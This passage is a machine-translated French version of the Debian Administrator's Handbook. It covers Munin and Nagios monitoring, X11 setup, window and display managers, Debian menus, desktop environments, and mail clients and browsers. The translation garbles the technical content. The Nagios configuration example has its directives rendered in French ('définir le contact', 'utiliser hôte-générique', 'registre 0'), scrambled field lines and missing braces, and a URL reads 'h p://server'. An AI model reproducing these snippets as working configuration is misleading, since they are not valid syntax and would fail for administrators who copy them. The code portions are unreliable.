des données variant dans le temps) stockés sous /var/lib/munin/ et génère une page HTML avec les graphiques dans /var/
cache/munin/www/.

Toutes les machines surveillées doivent donc être listées dans le fichier de configuration /etc/munin/[Link] . Chaque
machine est répertoriée sous forme de section complète avec un nom correspondant à la machine et au moins une entrée
d'adresse donnant l'adresse IP correspondante.

[[Link]] adresse
[Link]

use_node_name oui

Les sections peuvent être plus complexes et décrire des graphiques supplémentaires qui pourraient être créés en
combinant des données provenant de plusieurs machines. Les exemples fournis dans le fichier de configuration sont de
bons points de départ pour la personnalisation.

La dernière étape consiste à publier les pages générées ; cela implique de configurer un serveur Web pour que le contenu
de /var/cache/munin/www/ soit mis à disposition sur un site Web. L'accès à ce site Web sera souvent restreint, en utilisant
soit un mécanisme d'authentification, soit un contrôle d'accès basé sur IP.
Consultez la Section 11.2, « Serveur Web (HTTP) » (page 278) pour les détails pertinents.

12.4.2. Configuration de Nagios

Contrairement à Munin, Nagios ne nécessite pas nécessairement d'installer quoi que ce soit sur les hôtes surveillés ; la
plupart du temps, Nagios est utilisé pour vérifier la disponibilité des services réseau. Par exemple, Nagios peut se
connecter à un serveur web et vérifier qu'une page web donnée peut être obtenue dans un délai donné.

[Link]. Installation

La première étape de la configuration de Nagios consiste à installer les packages nagios3, nagios­plugins et nagios3­doc .
L'installation des packages configure l'interface web et crée un premier utilisateur nagiosadmin (pour lequel il demande un
mot de passe). Ajouter d'autres utilisateurs consiste simplement à les insérer dans le fichier /etc/nagios3/[Link]
avec la commande htpasswd d'Apache . Si pas de question Debconf

Chapitre 12 — Administration avancée 345

Machine Translated by Google

a été affiché lors de l'installation, dpkg­reconfigure nagios3­cgi peut être utilisé pour définir le mot de passe nagiosadmin .

Pointer un navigateur sur h p://server/nagios3/ affiche l'interface Web ; notez en particulier que Nagios surveille déjà certains paramètres
de la machine sur laquelle il s'exécute. Cependant, certaines fonctionnalités interactives telles que l'ajout de commentaires à un hôte ne
fonctionnent pas. Ces fonctionnalités sont désactivées dans la configuration par défaut de Nagios, ce qui est très restrictif pour des
raisons de sécurité.

Comme documenté dans /usr/share/doc/nagios3/[Link], l'activation de certaines fonctionnalités implique de modifier /etc/
nagios3/[Link] et de définir son paramètre check_external_commands sur « 1 ». Nous devons également configurer les autorisations
d'écriture pour le répertoire utilisé par Nagios, avec des commandes telles que les suivantes :

# /etc/init.d/nagios3 stop [...] # dpkg­

statoverride ­­update ­­add nagios www­data 2710 /var/lib/nagios3/rw # dpkg­statoverride ­­update ­­add
nagios nagios 751 /var/lib/nagios3 # /etc/init.d/nagios3 démarre [...]

[Link]. Configuration

L'interface Web de Nagios est plutôt sympa, mais elle ne permet pas de configuration, ni ne peut être utilisée pour ajouter des hôtes et
des services surveillés. L'ensemble de la configuration est géré via des fichiers référencés dans le fichier de configuration central, /etc/
nagios3/[Link].

Ces fichiers ne doivent pas être abordés sans une certaine compréhension des concepts de Nagios. La configuration répertorie les objets
des types suivants :

• un hôte est une machine à surveiller ;

• un groupe d'hôtes est un ensemble d'hôtes qui doivent être regroupés pour être affichés ou pour prendre en compte certains
éléments de configuration communs ;

• un service est un élément testable lié à un hôte ou à un groupe d'hôtes. Il s'agira le plus souvent d'une vérification d'un service
réseau, mais cela peut également impliquer de vérifier que certains paramètres se situent dans une plage acceptable (par
exemple, l'espace disque libre ou la charge du processeur) ;

• un groupe de services est un ensemble de services qui doivent être regroupés pour être affichés ;

• un contact est une personne qui peut recevoir des alertes ;

• un groupe de contacts est un ensemble de tels contacts ;

• une période est une plage de temps pendant laquelle certains services doivent être vérifiés ;

• une commande est la ligne de commande invoquée pour vérifier un service donné.

346 Le manuel de l'administrateur Debian

Machine Translated by Google

Selon son type, chaque objet possède un certain nombre de propriétés personnalisables. Une liste complète
serait trop long à inclure, mais les propriétés les plus importantes sont les relations entre les
objets.

Un service utilise une commande pour vérifier l'état d'une fonctionnalité sur un hôte (ou un groupe d'hôtes) au cours d'une
période donnée. En cas de problème, Nagios envoie une alerte à tous les membres du groupe de contact lié à
le service. Chaque membre reçoit l'alerte selon le canal décrit dans le matching
objet de contact .

Un système d'héritage permet de partager facilement un ensemble de propriétés sur de nombreux objets sans
duplication d'informations. De plus, la configuration initiale comprend un certain nombre de standards
objets; dans de nombreux cas, définir désormais les hôtes, les services et les contacts est une simple question de déduction
à partir des objets génériques fournis. Les fichiers dans /etc/nagios3/conf.d/ sont une bonne source de
des informations sur leur fonctionnement.

Les administrateurs de Falcot Corp utilisent la configuration suivante :

définir le contact{
nom contact­générique
service_notification_period 24h/24 et 7j/7

période_de_notification_hôte 24h/24 et 7j/7

service_notification_options w,u,c,r
host_notification_options d,u,r
service_notification_commands notify­service­by­email
host_notification_commands notifier­l'hôte­par­e­mail
registre 0 ; Modèle uniquement
}
définir le contact{
utiliser contact­générique
alias nom_contact rhertzog
Raphaël Hertzog
e­mail hertzog@[Link]
}
définir le contact{
utiliser contact­générique
alias nom_contact rmas
Roland Mas
e­mail lolando@[Link]
}

définir un groupe de contacts{

alias nom_groupe_contact falcot­administrateurs
Administrateurs Falcot
membres rhertzog,rmas
}

Chapitre 12 — Administration avancée 347

Machine Translated by Google

définir l'hôte{
utiliser hôte­générique ; Nom du modèle d'hôte à utiliser
alias nom_hôte www­hébergeur

[Link]
adresse [Link]

contact_groups falcot­administrateurs

groupes d'hôtes serveurs Debian, serveurs SSH

}
définir l'hôte{
utiliser hôte­générique ; Nom du modèle d'hôte à utiliser
alias nom_hôte hôte FTP
[Link]
adresse [Link]

contact_groups falcot­administrateurs

groupes d'hôtes serveurs Debian, serveurs SSH

}

# Commande 'check_ftp' avec paramètres personnalisés

définir la commande{
nom_commande check_ftp2
ligne_commande /usr/lib/nagios/plugins/check_ftp ­H $HOSTADDRESS$
­w 20 ­c 30 ­t 35

# Service Falcot générique

définir le service{
nom service­falcot
utiliser service­générique
contact_groups falcot­administrateurs

s'inscrire 0

# Services à vérifier sur www­host

définir le service{
utiliser service­falcot

nom_hôte www­hébergeur

description_service HTTP
check_command check_http
}
définir le service{
utiliser service­falcot

nom_hôte www­hébergeur

description_service HTTPS

348 Le manuel de l'administrateur Debian

Machine Translated by Google

check_command check_https

} définir le service{
utiliser service­falcot
nom_hôte www­hébergeur

description_service SMTP
check_command check_smtp
}

# Services à vérifier sur le service de

définition de l'hôte ftp{
utiliser service­falcot
nom_hôte ftp­host service_description
FTP check_command check_ftp2

Exemple 12.3 Fichier /etc/nagios3/conf.d/[Link]

Ce fichier de configuration décrit deux hôtes surveillés. Le premier est le serveur Web, et les vérifications
sont effectuées sur les ports HTTP (80) et secure­HTTP (443). Nagios vérifie également qu'un serveur
SMTP fonctionne sur le port 25. Le deuxième hôte est le serveur FTP, et la vérification implique de
s'assurer qu'une réponse arrive dans les 20 secondes. Au­delà de ce délai, un avertissement est émis ;
au­delà de 30 secondes, l'alerte est considérée comme critique. L'interface web de Nagios montre
également que le service SSH est surveillé : cela provient des hôtes appartenant au groupe d'hôtes ssh­
servers . Le service standard correspondant est défini dans /etc/nagios3/conf.d/services_nagios2.cfg.

Notez l'utilisation de l'héritage : un objet est amené à hériter d'un autre objet avec le « use parent­name ».
L'objet parent doit être identifiable, ce qui nécessite de lui attribuer une propriété « nom identifiant » . Si
l'objet parent n'est pas censé être un objet réel, mais seulement servir de parent, lui donner une propriété
« registre 0 » indique à Nagios de ne pas le considérer, et donc d'ignorer l'absence de certains
paramètres qui seraient autrement requis .

DOCUMENTATION Une compréhension plus approfondie des différentes façons dont Nagios peut être configuré peut

Liste des propriétés des objets être obtenue à partir de la documentation fournie par le package nagios3­doc. Cette documentation
est directement accessible depuis l'interface web, avec le lien « Documentation » dans le coin
supérieur gauche. Il comprend une liste de tous les types d'objets, avec toutes les propriétés qu'ils
peuvent avoir. Il explique également comment créer de nouveaux plugins.

ALLER PLUS LOIN De nombreux plugins Nagios permettent de vérifier certains paramètres locaux d'un hôte ; si de
Tests à distance avec NRPE nombreuses machines ont besoin de ces vérifications pendant qu'une installation centrale les
rassemble, le plugin NRPE (Nagios Remote Plugin Executor) doit être déployé. Le package nagios­
nrpe­plugin doit être installé sur le serveur Nagios, et

Chapitre 12 — Administration avancée 349

Machine Translated by Google

nagios­nrpe­server sur les hôtes sur lesquels les tests locaux doivent être exécutés.
Ce dernier obtient sa configuration depuis /etc/nagios/[Link]. Ce fichier doit lister les
tests pouvant être démarrés à distance, et les adresses IP des machines autorisées à
les déclencher. Du côté de Nagios, activer ces tests à distance consiste simplement à
ajouter des services correspondants à l'aide de la nouvelle commande check_nrpe.

350 Le manuel de l'administrateur Debian

Machine Translated by Google
Machine Translated by Google

Mots clés
Poste de travail
Bureau graphique
Travail de
bureau [Link]
Machine Translated by Google

Chapitre

Poste de travail13

Contenu

Configuration du serveur X11 354 Personnalisation de l'interface graphique 355 Bureaux graphiques 358
Outils 361 Émulation de Windows : Wine 369

Maintenant que les déploiements de serveurs sont terminés, les administrateurs peuvent se concentrer sur l'installation du

postes de travail individuels et création d'une configuration type.

Machine Translated by Google

13.1. Configuration du serveur X11

La configuration initiale de l'interface graphique peut parfois être délicate ; Les cartes vidéo très récentes ne
fonctionnent souvent pas parfaitement avec la version [Link] livrée dans la version stable de Debian.

Petit rappel : [Link] est le composant logiciel qui permet aux applications graphiques d'afficher des fenêtres à
l'écran. Il comprend un pilote qui utilise efficacement la carte vidéo. Les fonctionnalités offertes aux applications
graphiques sont exportées via une interface standard, X11 (Squeeze contient sa version X11R7.5 ).

PERSPECTIVE X11 est le système graphique le plus utilisé sur les systèmes de type Unix (également
X11, XFree86 et [Link] disponible, en plus du système natif, pour Windows et Mac OS). À proprement parler, le
terme « X11 » fait uniquement référence à une spécification de protocole, mais il est
également utilisé pour désigner la mise en œuvre dans la pratique.

X11 a connu des débuts difficiles, mais les années 1990 ont vu XFree86 émerger comme l'implémentation
de référence car il s'agissait d'un logiciel libre, portable et maintenu par une communauté collaborative.
Cependant, le rythme d'évolution s'est ralenti vers la fin lorsque le logiciel n'a gagné que de nouveaux
pilotes. Cette situation, ainsi qu'un changement de licence très controversé, ont conduit au fork de [Link] en
2004. Il s'agit désormais de l'implémentation de référence et Debian Squeeze utilise la version 7.5 de [Link].

Les versions actuelles de [Link] sont capables de détecter automatiquement le matériel disponible : cela s'applique
à la carte vidéo et au moniteur, ainsi qu'aux claviers et aux souris ; en fait, c'est tellement pratique que le package
ne crée même plus de fichier de configuration /etc/X11/[Link] . Tout cela est rendu possible grâce aux
fonctionnalités fournies par le noyau Linux 2.6 (en particulier pour les claviers et les souris), en demandant à
chaque pilote de lister les cartes vidéo qu'il prend en charge et en utilisant le protocole DDC pour récupérer les
caractéristiques du moniteur.

La configuration du clavier est actuellement configurée dans /etc/default/keyboard. Ce fichier est utilisé à la fois
pour configurer la console texte et l'interface graphique, et il est géré par le package de configuration du clavier .
Des détails sur la configuration de la disposition du clavier sont disponibles dans la Section 8.1.2, « Configuration
du clavier » (page 145).

Le package xserver­xorg fournit un serveur X générique, tel qu'utilisé par les versions 7.x de [Link]. Ce serveur
est modulaire et utilise un ensemble de pilotes indépendants pour gérer les nombreux types de cartes vidéo.

Notez que si la carte vidéo détectée n'est gérée par aucun des pilotes disponibles, [Link] essaie d'utiliser le pilote
VESA. Il s'agit d'un pilote générique qui devrait fonctionner partout, mais avec des capacités limitées (moins de
résolutions disponibles, pas d'accélération matérielle pour les jeux, etc.). Le serveur X écrit ses messages dans
le fichier journal /var/log/[Link] , où l'on peut chercher à savoir quel pilote est actuellement utilisé. Par
exemple, l'extrait suivant correspond à ce que le pilote Intel génère lorsqu'il est chargé :

(==) Intel correspondant en tant que pilote autoconfiguré 0

(==) Vesa correspondant en tant que pilote autoconfiguré 1
(==) Fbdev correspondant en tant que pilote autoconfiguré 2

354 Le manuel de l'administrateur Debian

Machine Translated by Google

(==) Attribué le pilote au LoadModule xf86ConfigLayout (II) : "intel"

(II) Chargement de /usr/lib/xorg/modules/drivers/intel_drv.so

SUPPLÉMENTAIRE
Certains fabricants de cartes vidéo (notamment nVidia) refusent de publier les spécifications
Pilotes propriétaires matérielles nécessaires à la mise en œuvre de bons pilotes gratuits. Ils fournissent cependant
des pilotes propriétaires qui permettent d'utiliser leur matériel. Cette politique est néfaste, car
même lorsque le pilote fourni existe, il n'est généralement pas aussi perfectionné qu'il devrait
l'être ; plus important encore, il ne suit pas nécessairement les mises à jour de [Link], ce qui
peut empêcher le dernier pilote disponible de se charger correctement (ou pas du tout). Nous
ne pouvons cautionner ce comportement et nous vous recommandons d’éviter ces fabricants et
de privilégier les fabricants plus coopératifs.

Si vous vous retrouvez toujours avec une telle carte, vous trouverez les packages requis dans
la section non gratuite : nvidia­glx pour les cartes nVidia, et fglrx­driver pour certaines cartes
ATI. Les deux cas nécessitent des modules de noyau correspondants. La construction de ces
modules peut être automatisée en installant les packages nvidia­kernel­dkms (pour nVidia) ou
fglrx­modules­dkms (pour ATI).

Le projet « nouveau » vise à développer un pilote logiciel gratuit pour les cartes nVidia.
Depuis Squeeze, son ensemble de fonctionnalités ne correspond pas au pilote propriétaire.
Pour la défense des développeurs, il faut mentionner que les informations requises ne peuvent
être collectées que par rétro­ingénierie, ce qui rend les choses difficiles. Le pilote gratuit pour
les cartes vidéo ATI, appelé « radeon », est bien meilleur à cet égard.

13.2. Personnalisation de l'interface graphique

13.2.1. Choisir un gestionnaire d'affichage

L'interface graphique fournit uniquement un espace d'affichage. L'exécution du serveur X seul ne conduit qu'à un
écran vide, c'est pourquoi la plupart des installations utilisent un gestionnaire d'affichage pour afficher un écran
d'authentification de l'utilisateur et démarrer le bureau graphique une fois l'utilisateur authentifié. Les trois
gestionnaires d'affichage les plus populaires actuellement utilisés sont gdm3 (GNOME Display Manager), kdm
(KDE Dis­play Manager) et xdm (X Display Manager). Puisque les administrateurs de Falcot Corp ont choisi
d'utiliser l'environnement de bureau GNOME, ils ont logiquement également choisi gdm3 comme gestionnaire d'affichage.
Le fichier de configuration /etc/gdm3/[Link] comporte de nombreuses options, dont certaines peuvent
également être définies par gdmsetup, une interface graphique pour la configuration de gdm3 qui peut être exécutée
à partir du menu Système → Administration → Écran d'affichage du bureau GNOME.

ALTERNATIVE Une nouvelle installation de Squeeze configure gdm3. D'un autre côté, un système mis à niveau
gdm contre gdm3 vers Squeeze à partir d'une version précédente de Debian aura généralement gdm (la version
2.x). La version 3 est une réécriture complète, mais elle est encore assez jeune : de nombreuses
options fournies par les versions précédentes ont été supprimées et l' interface de configuration
de gdmse tup a une portée beaucoup plus limitée. Cela explique pourquoi les deux versions
sont disponibles dans Squeeze. Notez cependant que les versions 2.x seront supprimées de la
prochaine version stable de Debian. Il est judicieux d'anticiper la migration et d'installer gdm3
immédiatement si les fonctionnalités manquantes ne sont pas importantes pour vous.

Chapitre 13 — Poste de travail 355

Machine Translated by Google

13.2.2. Choisir un gestionnaire de fenêtres

Étant donné que chaque bureau graphique fournit son propre gestionnaire de fenêtres, le choix du premier
implique généralement des sélections de logiciels parmi le second. GNOME utilise le gestionnaire de fenêtres
Metacity , KDE utilise kwm (KDE Window Manager) et XFce (que nous présenterons plus tard) possède
XFwm. La philosophie Unix permet toujours d'utiliser le gestionnaire de fenêtres de son choix, mais suivre les
recommandations permet à un administrateur de tirer le meilleur parti des efforts d'intégration menés par chaque projet.

RETOUR AUX SOURCES Fidèle à la tradition Unix de faire une seule chose mais de la faire bien, le gestionnaire de fenêtres affiche

Gestionnaire de fenêtres les « décorations » autour des fenêtres appartenant aux applications en cours d'exécution, qui incluent
les cadres et la barre de titre. Il permet également de réduire, restaurer, maximiser et masquer les
fenêtres. La plupart des gestionnaires de fenêtres proposent également un menu qui apparaît lorsque
vous cliquez sur le bureau d'une manière spécifique. Ce menu permet de fermer la session du gestionnaire
de fenêtres, de démarrer de nouvelles applications et, dans certains cas, de passer à un autre
gestionnaire de fenêtres (s'il est installé).

Les ordinateurs plus anciens peuvent cependant avoir du mal à faire fonctionner des environnements de
bureau graphiques lourds. Dans ces cas, une configuration plus légère doit être utilisée. Les gestionnaires de
fenêtres « légers » (ou à faible encombrement) incluent WindowMaker (dans le package wmaker ), Afterstep,
fvwm, icewm ou blackbox. Dans ces cas, le système doit être configuré de manière à ce que le gestionnaire
de fenêtres approprié ait la priorité ; la méthode standard consiste à modifier l' alternative x­window­manager
avec la commande update­alternatives ­­config x­window­manager .

SPÉCIFICITÉ DEBIAN La politique Debian répertorie un certain nombre de commandes standardisées capables d'effectuer une
Alternatives action particulière. Par exemple, la commande x­window­manager appelle un gestionnaire de fenêtres.
Mais Debian n'attribue pas cette commande à un gestionnaire de fenêtres fixe. L'administrateur peut
choisir quel gestionnaire il doit appeler.

Pour chaque gestionnaire de fenêtres, le package concerné enregistre donc la commande appropriée
comme choix possible pour x­window­manager avec une priorité associée. Sauf configuration explicite
par l'administrateur, cette priorité permet de choisir le gestionnaire de fenêtres le mieux installé lors de
l'exécution de la commande générique.

L'enregistrement des commandes et la configuration explicite impliquent le script update­alternatives .

Choisir où pointe une commande symbolique est une simple question d'exécution de update­alternatives
­­config symbolic­com commande. Le script update­alternatives crée (et maintient) des liens symboliques
dans le répertoire /etc/alternatives/ , qui à son tour fait référence à l'emplacement de l'exécutable. Au fil
du temps, des packages sont installés ou supprimés et/ou l'administrateur apporte des modifications
explicites à la configuration. Lorsqu'un package fournissant une alternative est supprimé, l'alternative
passe automatiquement au meilleur choix suivant parmi les commandes possibles restantes.

Toutes les commandes symboliques ne sont pas explicitement répertoriées par la

politique Debian ; certains responsables de paquets Debian ont délibérément choisi
d'utiliser ce mécanisme dans des cas moins simples où il apporte néanmoins une
flexibilité intéressante (par exemple, x­www­browser, www­browser, cc, c++, awk, etc.).

356 Le manuel de l'administrateur Debian

Machine Translated by Google

13.2.3. Gestion des menus

Les environnements de bureau modernes et de nombreux gestionnaires de fenêtres proposent des menus
répertoriant les applications disponibles pour l'utilisateur. Afin de maintenir les menus à jour par rapport à l'ensemble
réel des applications disponibles, Debian a créé une base de données centralisée enregistrant toutes les
applications installées. Un package nouvellement installé s'enregistre dans cette base de données et indique au
système de mettre à jour les menus en conséquence. Cette infrastructure est gérée dans le package de menu .

Lorsqu'un package fournit une application qui doit apparaître dans le système de menus, il stocke un fichier dans le
répertoire /usr/share/menu/ . Ce fichier décrit certaines des fonctionnalités de l'application (y compris s'il s'agit d'une
application graphique ou non) et le meilleur emplacement pour celle­ci dans la hiérarchie des menus. Le script de
post­installation de ce package exécute ensuite la commande update­menus , qui met à jour tous les fichiers requis.
Cette commande ne peut pas connaître tous les types de menus utilisés par les applications installées. En
conséquence, les packages capables d'afficher un menu doivent fournir un script exécutable qui sera invoqué avec
toutes les informations requises depuis le fichier de menu ; le script doit ensuite transformer ces informations en
éléments que l'application avec le menu peut utiliser. Ces scripts de filtre sont installés dans le répertoire /etc/menu­
methods/ .

ALLER PLUS LOIN Debian propose son propre système de menus, mais GNOME et KDE ont également
Standardisation des menus développé leurs propres solutions de gestion de menus. Les deux projets se sont mis
d'accord sur un format pour ces menus ­ plus précisément, un format commun pour les
fichiers .desktop qui représentent les éléments de menu ­ dans le cadre du projet parapluie
[Link].

[Link]

Les développeurs Debian ont gardé un œil attentif sur ce projet et des fichiers .desktop
peuvent être générés à partir du système de menus Debian. Cependant, ni GNOME ni KDE
n'utilisent le menu Debian. Ils préfèrent tous deux garder le contrôle total de leurs menus. Il
est néanmoins possible d'activer un sous­menu « Debian » contenant le menu officiel tel
que maintenu par Debian : dans GNOME, l'éditeur de menu (dans le paquet alacarte) est
disponible en faisant un clic droit sur le menu du panneau, puis en choisissant « Modifier
les menus ». .

L'administrateur peut également avoir son mot à dire sur le processus et sur les menus générés qui en résultent.
Premièrement, ils peuvent supprimer un élément de menu même lorsque l'application correspondante est installée,
en stockant simplement dans /etc/menu/ un fichier vide nommé selon le package fournissant les entrées à
désactiver. Deuxièmement, le menu peut être réorganisé et les sections renommées ou regroupées.
Le fichier /etc/menu­methods/translate_menus est l'endroit où cette réorganisation est définie et contient des
exemples commentés. Enfin, de nouveaux éléments peuvent être ajoutés au menu, par exemple pour démarrer des
programmes installés en dehors du système de packaging, ou pour exécuter une commande particulière comme le
démarrage d'un navigateur web sur une page particulière. Ces éléments supplémentaires sont spécifiés dans les
fichiers /etc/menu/[Link] , qui ont le même format que les autres fichiers de menu disponibles sous /usr/
share/menu/.

Chapitre 13 — Poste de travail 357

Machine Translated by Google

13.3. Bureaux graphiques

Le domaine des ordinateurs de bureau graphiques gratuits est dominé par deux grandes collections de logiciels :
GNOME et KDE. Les deux sont très populaires. Il s'agit d'un cas plutôt rare dans le monde du logiciel libre ; le
serveur Web Apache, par exemple, a très peu de pairs.

Cette diversité est ancrée dans l’histoire. KDE a été le premier projet de bureau graphique, mais il a choisi la
boîte à outils graphique Qt et ce choix n'était pas acceptable pour un grand nombre de développeurs. Qt n'était
pas un logiciel libre à l'époque et GNOME a été lancé sur la base de la boîte à outils GTK+. Qt est devenu un
logiciel libre entre­temps, mais les projets n'ont pas fusionné et évolué en parallèle.

GNOME et KDE travaillent toujours ensemble : sous l'égide de [Link], les projets ont collaboré pour
définir des normes d'interopérabilité entre les applications.

Choisir « le meilleur » bureau graphique est un sujet sensible que nous préférons éviter. Nous nous contenterons
de décrire les nombreuses possibilités et de donner quelques pistes de réflexion. Le meilleur choix sera celui que
vous ferez après quelques expérimentations.

13.3.1. GNOME

Debian Squeeze inclut GNOME version 2.30, qui peut être installé par un simple apt­get inst all gnome (il peut
également être installé en sélectionnant la tâche « Environnement de bureau graphique »).

GNOME se distingue par ses efforts en matière de convivialité et d'accessibilité. Les professionnels du design
ont été impliqués dans la rédaction de normes et de recommandations. Cela a aidé les développeurs à créer des
interfaces utilisateur graphiques satisfaisantes. Le projet reçoit également les encouragements des grands
acteurs de l'informatique, tels qu'Intel, IBM, Oracle, Novell et bien sûr de diverses distributions Linux. Enfin, de
nombreux langages de programmation peuvent être utilisés pour développer des applications interfacées avec GNOME.

Il a fallu un certain temps au projet GNOME pour construire cette infrastructure, ce qui peut représenter un bureau
apparemment moins mature que KDE. Les efforts en matière d'utilisabilité et d'accessibilité, en particulier, sont
récents et les avantages commencent seulement à se manifester dans les dernières versions de l'environnement.

358 Le manuel de l'administrateur Debian

Machine Translated by Google

Figure 13.1 Le bureau GNOME

Pour les administrateurs, GNOME semble mieux préparé aux déploiements massifs. La configuration de
l'application est gérée par GConf, une sorte de registre qui peut être interrogé et modifié avec l' outil de ligne de
commande gconftool­2 . L'administrateur peut donc modifier la configuration des utilisateurs avec un simple
script. Le site Web suivant répertorie toutes les informations intéressant un administrateur chargé de gérer les
postes de travail GNOME :

[Link]

[Link]

13.3.2. KDE

Debian Squeeze inclut la version 4.4.5 de KDE, qui peut être installée avec apt­get install kde.

KDE a connu une évolution rapide basée sur une approche très pratique. Ses auteurs ont rapidement obtenu
de très bons résultats, ce qui leur a permis de développer une large base d'utilisateurs. Ces facteurs ont
contribué à la qualité globale du projet. KDE est un environnement de bureau parfaitement mature avec une
large gamme d'applications.

Chapitre 13 — Poste de travail 359

Machine Translated by Google

Figure 13.2 Le bureau KDE

Depuis la version Qt 4.0, le dernier problème de licence avec KDE n'existe plus. Cette version a été publiée sous
GPL pour Linux et Windows (alors que la version Windows était auparavant publiée sous une licence non libre).
Notez que les applications KDE doivent être développées en utilisant le langage C++.

13.3.3. Xfce et autres

Xfce est un bureau graphique simple et léger, parfaitement adapté aux ordinateurs aux ressources limitées. Il peut
être installé avec apt­get install xfce4. Comme GNOME, Xfce est basé sur la boîte à outils GTK+ et plusieurs
composants sont communs aux deux bureaux.

Contrairement à GNOME et KDE, Xfce n'a pas pour vocation d'être un vaste projet. Au­delà des composants de
base d'un bureau moderne (gestionnaire de fichiers, gestionnaire de fenêtres, gestionnaire de sessions, panneau
pour les lanceurs d'applications, etc.), il ne propose que quelques applications spécifiques : un navigateur web
très léger (Midori), un terminal, un calendrier, une visionneuse d'images, un outil de gravure de CD/DVD, un
lecteur multimédia (Parole) et un contrôle du volume sonore.

360 Le manuel de l'administrateur Debian

Machine Translated by Google

Figure 13.3 Le bureau Xfce

13.4. Outils

13.4.1. E­mail

[Link]. Évolution

COMMUNAUTÉ L'installation du paquet concours de popularité permet de participer à une enquête

Forfaits populaires automatisée qui informe le projet Debian sur les paquets les plus populaires. Un script est
exécuté chaque semaine par cron qui envoie (par HTTP ou email) une liste anonymisée
des packages installés et la dernière date d'accès aux fichiers qu'ils contiennent. Cela
permet de différencier, parmi les packages installés, ceux qui sont réellement utilisés.

Ces informations sont d'une grande aide pour le projet Debian. Il est utilisé pour déterminer
quels packages doivent figurer sur les premiers disques d'installation. Les données
d'installation sont également un facteur important utilisé pour décider de supprimer ou non
un package avec très peu d'utilisateurs de la distribution. Nous vous recommandons
vivement d'installer le package du concours de popularité et de participer à l'enquête.

Les données collectées sont rendues publiques quotidiennement.

[Link]
Ces statistiques peuvent également aider à choisir entre deux packages qui sembleraient
autrement équivalents. Choisir le forfait le plus populaire augmente la probabilité de faire
un bon choix.

Chapitre 13 — Poste de travail 361

Machine Translated by Google

Evolution est le client de messagerie GNOME et peut être installé avec apt­get install évolution.
Evolution va au­delà d'un simple client de messagerie et fournit également un calendrier, un carnet d'adresses, une
liste de tâches et une application de mémo (note libre). Son composant de messagerie comprend un puissant système
d'indexation des messages et permet la création de dossiers virtuels basés sur des requêtes de recherche sur tous
les messages archivés. En d'autres termes, tous les messages sont stockés de la même manière mais affichés dans
une organisation basée sur des dossiers, chaque dossier contenant des messages correspondant à un ensemble de filtres.
critères.

Figure 13.4 Le logiciel de messagerie Evolution

Une extension d'Evolution permet l'intégration à un système de messagerie Microsoft Exchange ; le package requis
est évolution­exchange.

[Link]. KMail

Le logiciel de messagerie KDE peut être installé avec apt­get install kmail. KMail ne gère que le courrier électronique,
mais il appartient à une suite logicielle appelée KDE­PIM (pour Personal Information Manager) qui inclut des
fonctionnalités telles que des carnets d'adresses, un composant de calendrier, etc. KMail possède toutes les
fonctionnalités que l'on peut attendre d'un excellent client de messagerie.

362 Le manuel de l'administrateur Debian

Machine Translated by Google

Figure 13.5 Le logiciel de messagerie KMail

[Link]. Thunderbird et Icedove

Ce logiciel de messagerie, inclus dans le package icedove , fait partie de la suite logicielle Mozilla. Divers ensembles
de localisation sont disponibles dans les packages icedove­l10n­* ; l' extension enigmail gère le cryptage et la
signature des messages (hélas, elle n'est pas disponible dans toutes les langues).

Figure 13.6 Le logiciel de messagerie Icedove

Thunderbird est l'un des meilleurs clients de messagerie, et il semble connaître un grand succès, tout comme Mozilla
Firefox.

Chapitre 13 — Poste de travail 363

Machine Translated by Google

À proprement parler, Debian Squeeze contient Icedove, et non Thunderbird, pour des raisons juridiques que nous
détaillerons plus loin dans la section « Iceweasel, Firefox et autres » ; mais à part leurs noms (et icônes), il n’y a pas de
réelles différences entre eux.

13.4.2. Navigateurs Web

Epiphany, le navigateur web de la suite GNOME, utilise le moteur d'affichage WebKit développé par Apple pour son
navigateur Safari. Le package concerné est epiphany­browser.

Konqueror, le gestionnaire de fichiers de KDE, se comporte également comme un navigateur Web. Il utilise le moteur
de rendu KHTML spécifique à KDE ; KHTML est un excellent moteur, comme en témoigne le fait que le WebKit d'Apple
est basé sur KHTML. Konqueror est disponible dans le package konqueror .

Les utilisateurs qui ne sont satisfaits d’aucun des éléments ci­dessus peuvent utiliser Iceweasel. Ce navigateur,
disponible dans le package iceweasel , utilise le moteur de rendu Gecko du projet Mozilla, avec une interface fine et
extensible en plus.

Figure 13.7 Le navigateur Web Iceweasel

CULTURE De nombreux utilisateurs seront sans doute surpris par l'absence de Mozilla Firefox
Iceweasel, Firefox et autres dans les menus de Debian Squeeze. Pas de panique : le package iceweasel contient
Iceweasel, qui est essentiellement Firefox sous un autre nom.
La justification de ce changement de nom résulte des règles d'utilisation imposées
par la Fondation Mozilla sur la marque déposée Firefox™ : tout logiciel nommé
Firefox doit utiliser le logo et les icônes officiels de Firefox. Cependant, comme ces
éléments ne sont pas distribués sous licence libre, Debian ne peut pas les distribuer.

364 Le manuel de l'administrateur Debian

Machine Translated by Google

eux dans sa section principale. Plutôt que de déplacer l'ensemble du navigateur vers un navigateur
non libre, le responsable du paquet a choisi d'utiliser un nom différent.

La commande Firefox existe toujours dans le package iceweasel, mais uniquement pour des raisons
de compatibilité avec les outils qui tenteraient de l'utiliser.

Pour des raisons similaires, le client de messagerie Thunderbird™ a été renommé Icedove de la
même manière.

CULTURE Netscape Navigator était le navigateur standard lorsque le Web a commencé à atteindre le grand
Mozilla public, mais il a été progressivement laissé de côté lorsque Microsoft Internet Explorer est apparu.
Face à cet échec, Netscape (la société) a décidé de « libérer » son code source, en le diffusant sous
licence libre, pour lui donner une seconde vie. Ce fut le début du projet Mozilla. Après de nombreuses
années de développement, les résultats sont plus que satisfaisants : le projet Mozilla a mis au point
un moteur de rendu HTML (appelé Gecko) qui compte parmi les plus conformes aux standards. Ce
moteur de rendu est notamment utilisé par le navigateur Mozilla Firefox, qui est l'un des navigateurs
les plus performants, avec une base d'utilisateurs en forte croissance.

Squeeze apporte également un nouveau venu sur la scène des navigateurs Web, Chromium (disponible dans le
package chrome­browser ). Ce navigateur est développé par Google à un rythme si rapide qu'il est peu probable
qu'il soit possible d'en conserver une seule version pendant toute la durée de vie de Debian Squeeze .
Son objectif clair est de rendre les services Web plus attractifs, à la fois en optimisant les performances du
navigateur et en augmentant la sécurité de l'utilisateur. Le code gratuit qui alimente Chromium est également
utilisé par sa version propriétaire appelée Google Chrome.

13.4.3. Développement

[Link]. Outils pour GTK+ sur GNOME

Anjuta (dans le package anjuta ) est un environnement de développement optimisé pour créer des applications
GTK+ pour GNOME. Glade (dans le package Glade ) est une application conçue pour créer des interfaces
